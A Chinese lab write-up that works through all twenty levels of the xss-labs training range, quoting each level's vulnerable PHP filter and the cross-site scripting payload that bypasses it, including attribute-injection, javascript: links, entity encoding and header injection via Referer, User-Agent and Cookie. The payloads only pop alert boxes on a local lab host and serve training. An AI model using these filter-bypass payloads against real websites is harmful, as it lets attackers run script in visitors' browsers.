【Web安全靶场】xss-labs-master 1-20

xss-labs-master

其他靶场见专栏

文章目录

level-1

第一关没有进行任何限制,get请求参数直接回显至界面,修改参数值就行。

复制代码
?name=<script>alert(1)</script>

level-2

第二关页面是一个输入框,输入的值会回显至页面中,所以先试一下**<script>alert(1)</script>**发现页面回显的消息直接就是我们输入的内容,并没有任何作用。

根据上面的图片可以知道我们的尖括号被转义为实体(没看到的话就选中右击选择Edit as HTML),因为源代码中使用了htmlspecialchars($str) 。下面的敏感符号也会转义为HTML实体:&号,左右尖括号,单双引号,(这个函数具有三个参数,第一个参数为必选参数,表示待处理的字符串,第二个参数为可选参数,专门针对字符串中的引号操作,默认值:ENT_COMPAT,只转换双引号。ENT_QUOTS,单引号和双引号同时转换。ENT_NOQUOTES,不对引号进行转换。第三个参数为处理字符串的指定字符集)

php 复制代码
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>

但是input标签中我们输入的值也会显示在那,所以我尝试构造闭合,在input标签实现跨站脚本攻击。

php+HTML 复制代码
<input name=keyword  value="'.$str.'">

首先尝试输入一个引号探针试一下引号有没有被过滤,没有被过滤就使用onfocus焦点事件、onblur竞争焦点事件。

  • onfocus焦点事件:
复制代码
11" onfocus=alert(1)>
  • onblur竞争焦点事件:
复制代码
1" onblur=alert(1)>

以及其他可以改变DOM结构的payload都可以...

level-3

输入<script>alert(1)</script>发现回显的地方尖括号变为HTML实体了,输入双引号尝试在input标签构造闭合,发现双引号被转为HTML实体。查看源代码,发现回显的地方和输入框的value均使用了htmlspecialchars函数。

php+HTML 复制代码
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<input name=keyword  value='".htmlspecialchars($str)."'>

它对双引号进行了防御但是没有对单引号进行防御,所以我们可以通过事件标签促发xss攻击,因为**单引号在某些浏览器也可以和双引号构成闭合。**这里使用onfocus鼠标事件,任何其他可以改变DOM结构的是按都可以促发攻击。

  • onfocus鼠标事件:
复制代码
1' onfocus='alert(/xss/)

level-4

这一关还是一个输入框加上一个回显,输入一个探针<script>'",查看input标签发现尖括号被吞了,但是单引号双引号正常存在。查看源代码发现尖括号被替换了:

php+HTML 复制代码
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<input name=keyword  value="'.$str3.'">

所以直接使用onfocus或者onblue等等,但是不能使用改变DOM结构的标签了。

  • onfocus鼠标事件:
复制代码
1" onfocus="alert(1)

注意点就是需要闭合后面的双引号...

level-5

这一关还是一个输入框和回显,输入<script>'"探针试一下,发现script被下划线截断了,单双引号尖括号还是正常存在,所以猜测这一关就是对敏感词进行截断的,输入on发现on一样被截断,所以直接使用script和onfocus之类的不行了。查看源代码:

php+HTML 复制代码
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<input name=keyword  value="'.$str3.'">

通过代码可知,这一关对<script和on进行截断,并且使用小写转化函数,所以不能使用大小写绕过了。我们可以做到的就是闭合,闭合的话就可以改变DOM结构,但是很多的标签触发条件都是onfocus什么的,这时就可以使用javascript伪协议。

  • javascript伪协议:
复制代码
1"><a href="javascript:alert(1)">xssssss</a>

level-6

输入探针<sCript><script"'Oonn发现script和on被添加下划线,但是大小写绕过的script却没有被添加下划线,同样的单双引号、尖括号也没有被转义。

查看源代码发现好多的标签选项都被过滤了,但是这没有使用小写转换函数,所以直接使用大小写绕过是可以的。

php 复制代码
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<input name=keyword  value="'.$str6.'">
  • javascript伪协议:
复制代码
"><a HREF="javascript:alert(1)">xsssss</a>
  • onfocus鼠标事件:
复制代码
1" Onfocus=alert(1)>

level-7

输入探针<sCript><script"'Oonn发现script和on无论大小写都不见了,单双引号也不见了,但是尖括号还在,所以估计这些内容是被小写转化并且被replace了。

进行replace操作一般会尝试双写绕过,所以输入scrscriptipt发现,这一关仅仅消去了一个script标签,消去之后还会拼接成一个新的script,所以可以进行双写绕过。查看源代码:

php+HTML 复制代码
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<input name=keyword  value="'.$str6.'">
  • javascript伪协议双写绕过:
复制代码
1"><a hrhrefef="javascrscriptipt:alert(1)">xssssss</a>

level-8

这一关和前面的就有些不一样了,我们输入的内容会作为a标签的href值,所以我们尝试输入script,发现script被截断了。查看源代码:

php 复制代码
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);

<input name=keyword  value="'.htmlspecialchars($str).'">
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';

由于这是href的值我们可以尝试构造javascript伪协议,script被截断了,所以我们可以尝试将其转化为HTML实体:

复制代码
javascript  =>   &#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;
  • 转化为HTML实体:

    javascript:alert(1)

level-9

这一道题也是友情链接,他给出的提示是"您的链接不合法?有没有!"输入sCript,发现sCript转化为小写并且被截断,并且使用HTML实体显示的是链接不合法,所以我们要给他一个正确的链接,它认为正确的链接是什么呢?查看源代码:

php 复制代码
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);

<input name=keyword  value="'.htmlspecialchars($str).'">

if (false === strpos($str7, 'http://')) {
   echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
} else {
   echo '<center><BR><a href="' . $str7 . '">友情链接</a></center>';
}

这一关使用了strpos函数,这个函数的作用是返回指定文本第一次出现的位置,如果没有出现那就返回false,所以我们只需要输入有http://的链接就行了,对于伪协议,我们把它加上,并且把它注释掉就行了,并且要加在后面。

  • 转化为HTML实体的伪协议:
复制代码
&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(1)//http://

level-10

这一关是值是在URL的参数上,不在输入框上了,意味着鼠标事件没有用了,必须使用尖括号。使用探针sCript<'>"on=On发现,只有尖括号被转化成HTML实体。本来想着将尖括号转化成HTML实体看看行不行,但是发现转化的实体是带有&参数分隔符的。查看源代码发现,有一个被隐藏的form表单,里面有三个参数:

html 复制代码
<form id="search">
	<input name="t_link" value="" type="hidden">
	<input name="t_history" value="" type="hidden">
	<input name="t_sort" value="" type="hidden">
</form>

所以在URL中加上这三个参数,发现仅仅第三个input标签变化了,所以猜测第三个标签是在value选项中插入值的。

查看源代码确实如此:

php 复制代码
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

所以我们尝试在t_sort中使用探针,仅仅尖括号被改变了而已,所以我们直接onfocus鼠标事件,注意要将type的值改为text否则无法显示出来,或者F12修改Elements也可。

  • onfocus鼠标事件:

  • ?keyword=1&t_link=1&t_history=1&t_sort=1" onfocus="alert(1)" type="text

level-11

这一关还是URL参数的,有了上一关的经验,这次查看源代码,发现多出了一个input标签:

html 复制代码
<form id="search">
	<input name="t_link" value="" type="hidden">
	<input name="t_history" value="" type="hidden">
	<input name="t_sort" value="" type="hidden">
	<input name="t_ref" value="http://192.168.255.128/xss-labs-master/level10.php?keyword=1&amp;t_link=1&amp;t_history=1&amp;t_sort=1%22%20οnmοuseοver=%22alert(1)%22%20type=%22text" type="hidden">
</form>

第四个标签的值很熟悉,这是我上一个链接,所以我猜测这是和referer头有关的,所以抓包!构造闭合!鼠标事件!改type的值!查看源代码确实如此,原来的t_sort不能用了:

php 复制代码
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
  • Refer头:
复制代码
Referer: 1" onmouseover=alert(1) type="text

level-12

查看源代码发现还是多出来一个input标签,但是它的名字是t_ua,所以猜测这是和User-Agent有关的,查看源代码:

php+HTML 复制代码
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);

<form id=search>
	<input name="t_link"  value="'.'" type="hidden">
	<input name="t_history"  value="'.'" type="hidden">
	<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
	<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>

可见这一关对引号和on之类的没有进行过滤,所以我们进行抓包,从User-Agent中实现xss攻击。

复制代码
User-Agent: 1" onfocus=alert(1) type="text

level-13

这一关和前面一样也是隐藏了一些输入框,对于这一关,隐藏了一个t_cook,所以猜测这是和cookie相关的,分析源代码:

php 复制代码
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);

<form id=search>
	<input name="t_link"  value="'.'" type="hidden">
	<input name="t_history"  value="'.'" type="hidden">
	<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
	<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>

进行抓包,对input使用onfocus鼠标事件:

复制代码
Cookie: user=1" onfocus=alert(1) type="text

level-14

网上说这一关有点问题

level-15

这一道题没有任何输入框也没与任何回显,查看元素发现底下有一个**<!-- ngInclude: undefined -->**,一开始并不知道这是什么东西,搜了一下,ng-include 指令用于包含外部的 HTML 文件,包含的内容将作为指定元素的子节点,包含的文件需要包含在同一个域名下。查看了一下源代码,发现这一关是可以接收参数了,因为一开始进去没有参数所以ngInclude才是undefined:

php 复制代码
<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

因为这里对闭合符号进行处理,所以我想的是传递一个有漏洞的界面,将第一关传上去,注意要加上单引号:

但是如果将<script>alert(1)</script>作为第一关的答案传上去,是没有弹窗的,但是这个script标签会在代码元素中,那就试一下使用a标签,结果可知,主动触发的是可以的。

level-16

这一关正常了,是一个url参数的题,首先输入一下探针吧,<Script '" Oonn>=href,结果是尖括号、空格、script被替换,其中空格和尖括号被替换成HTML实体,script被过滤,大小转化为小写。查看源代码:

php 复制代码
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("	","&nbsp;",$str4);

没有空格的化可以使用%0a和%ob等代替,script使用不了就用input标签的onfocus:

复制代码
?keyword=<input%0atype="text"%0aonfocus=alert(1)>

level-17

这一关进去之后会看到一个"该插件不受支持",查看元素发现有一个**<embed src="xsf01.swf?=" width="100%" heigth="100%">**,所以猜测这个src是和参数有关的,查看源代码:

php 复制代码
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

果然存在两个参数,我们传递这两个参数的时候,点号会把他们连接起来,尝试使用引号和尖括号发现都被转义了,当我发现src中会截断空格,所以尝试在arg01中添加空格:

复制代码
?arg01=1  onmouseover&arg02=alert(1)

level-18

这一关和上一关一样的,用一样的方法就可以了...搞不懂了...

复制代码
level18.php?arg01=1 onmouseover&arg02=alert(1)

level-19

这一关我尝试使用空格截断,发现并不可以所以查看源代码,发现这一关在双引号中进行点号运算,所以空格截断不可取:

php 复制代码
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf03.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>

使用单引号尝试能不能和闭合一下,发现单引号仅仅是普通文本,尖括号也是作为普通文本,这样子常规的方法无法下手了。接着我搜索xsf03.swf是什么来的,于是访问一下http://192.168.255.128/xss-labs-master/xsf03.swf,将文件下载下来,要使用专用的FlashPlayer播放器打开,但是使用了也打不开。。。网上搜了一下,弹出了个swf反编译,所以试了一下。得到version未定义,接着传入参数\<a href='javascript:alert(/xss/)'>xss</a>,但最后结果没有显示,不会做了,逆向的题

level-20

不会做...

相关推荐
用户9623779544836 分钟前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机4 小时前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机4 小时前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954485 小时前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star5 小时前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954489 小时前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher2 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行5 天前
网络安全总结
安全·web安全
red1giant_star5 天前
手把手教你用Vulhub复现ecshop collection_list-sqli漏洞(附完整POC)
安全
ZeroNews内网穿透5 天前
谷歌封杀OpenClaw背后:本地部署或是出路
运维·服务器·数据库·安全